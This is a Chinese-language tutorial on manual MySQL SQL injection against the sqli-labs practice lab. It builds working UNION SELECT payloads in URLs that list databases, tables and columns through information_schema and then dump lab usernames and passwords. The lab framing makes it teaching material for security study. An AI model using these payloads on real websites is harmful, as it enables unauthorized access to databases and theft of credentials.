【sql注入专题02】Mysql手工注入流程
0x00 SQL注入的语句介绍
SQL注入的本质
sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作。
mysql> use security; //进入一个数据库
mysql> select user,pwd from users limit 0,1;//查询users表中字段为user和pwd的内容
从上面的操作中我们可以看出, 要查询出数据的内容,需要知道数据库名称,数据库中的表名称,数据库中表的字段名。
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中的表schemata(所有的数据库名)、表tables(所有的表名)、表columns(所有的列名)。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges | |
| mysql |
| performance_schema |
| security |
+--------------------+
下面通过sql语句从information_schema数据库查询出数据库名称,数据库中的表名称,数据库中表的字段名。
查询所有的数据库名称
mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| challenges | |
| mysql |
| performance_schema |
| security |
+--------------------+
5 rows in set (0.00 sec)
查security数据库中的表名
我们挑选一个数据库security来查询其中的表名
mysql> select table_name from information_schema.tables where table_schema="security";
+------------+
| table_name |
+------------+
| emails |
| referers |
| uagents |
| users |
+------------+
4 rows in set (0.00 sec)
查询users数据表中列的字段名
一般都是user表中存有用户/管理员的账号密码
mysql> select column_name from information_schema.columns where table_name='users';
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.13 sec)
查询数据
知道了数据库名,表名,列名,可以直接查询数据了。
mysql> select username,password from security.users limit 7,7;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+----------+
6 rows in set (0.11 sec)
我们知道如何查询数据了,接下来所要做的就是把这些查询语句注入到正常的业务sql语句中,并将结果返回到页面。
0x01 SQL注入流程
1.确认注入点
我们通过操作传入的参数,并根据页面的反馈判断是否存在SQL注入。
http://192.168.181.134/Less-1/?id=1
1.控制传入的参数使查询结果报错,让mysql查询的语法错误,即可报错。一般会用单引号,双引号等尝试。
至于用单引号和双引号,我们只能控制查询的参数,mysql在查询时单引号或者双引号没有闭合会报错。
mysql> select * from users where id='1'\';
ERROR:
Unknown command '\''.
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
mysql>
存在报错(下图),意味着我们的单引号被带入查询语句,此时判断可能存在注入,需要进一步逻辑判断。
http://192.168.181.134/Less-1/?id=1'
存在报错, 也意味着我们确认后台查询参数为单引号或者双引号字符,方便闭合。
SELECT * FROM users WHERE id='$id' 或者 SELECT * FROM users WHERE id="$id"
2.通过闭合单引号,执行真条件的逻辑语句,能返回查询到对应的结果。
下语句中1后面跟单引号时用来闭合前面的单引号,--+是用来注释掉后面的语句。
192.168.181.134/Less-1/?id=1' and 1=1--+
3.通过闭合单引号,执行假条件的逻辑语句,能返回查询到对应的结果。
192.168.181.134/Less-1/?id=1' and 1=2--+
2.确认当前SQL语句的列数
为什么要确认当前SQL语句列数,为下一步union 联合查询做准备
之所以用order by确认表的列数;order by是对查询出的某列的数据进行排序,默认是正序。
超出列的个数,sql语句会报错。下表中,order by 对第三列password 查询内容进行排序,当order by 对第四列查询内容排序时,sql语句会报错,没有结果。
mysql> select id,username,password from users order by 3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select id,username,password from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
192.168.181.134/Less-1/?id=1' order by 3--+
192.168.181.134/Less-1/?id=1' order by 4--+
说明当前sql语句只查询了三列。
使用UNION注入查询语句
UNION操作符介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集;
UNION 内部的 SELECT 语句必须拥有相同数量的列;这个就是为什么要知道当前SQL语句查询列数;
下表中第一条语句,报错提示,union 连接的2个select语句必须 有相同数量的列;第二条语句正确。
mysql> select id,username,password from users union select 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select id,username,password from users where id=1 union select 1,2,user() ;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | Dumb | Dumb |
| 1 | 2 | root@localhost |
+----+----------+----------------+
2 rows in set (0.00 sec)
一般情况我们希望自己注入的SQL语句返回结果,让第一个select查询不到结果即可(即id=-1)。
mysql> select id,username,password from users where id=-1 union select 1,2,user() ;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 2 | root@localhost |
+----+----------+----------------+
1 row in set (0.12 sec)
http://192.168.181.134/Less-1/?id=-1' union select 1,2,3--+
上图中显示2,3表示为显示位;
http://192.168.181.134/Less-1/?id=-1' union select 1,user(),version()--+
3.使用union注入所有数据库名查询
我们在SQL注入语句中介绍了查询所有数据库,表,字段的语句,通过UNION注入进去。
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(schema_name) schema_name from information_schema.schemata--+
查询到的数据库名
information_schema,challenges,hd,mysql,performance_schema,security
4.使用union注入数据库security中的表名查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security";--+
查询到的数据表的名
emails,referers,uagents,users
5.使用union注入数据表users中的字段查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+
查询到的字段名
id,username,password
6.使用union注入字段username和password内容查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(username,0x5c,password) from users--+
查询到的数据内容 账号\密码
Dumb\Dumb,Angelina\I-kill-you,Dummy\p@ssword,secure\crappy,stupid\stupidity,superman\genious,batman\mob!le,admin\admin,admin1\admin1,admin2\admin2,admin3\admin3,dhakkan\dumbo,admin4\admin4
0x02 SQL手工注入总结
sql注入的基本步骤大致就是确认注入点-->查数据库-->查表-->查数据;
SQL注入的类型不同,每一个步骤存在大同小异;
SQL注入的扩展攻击,如读写文件,提权;
后续的教程继续跟进;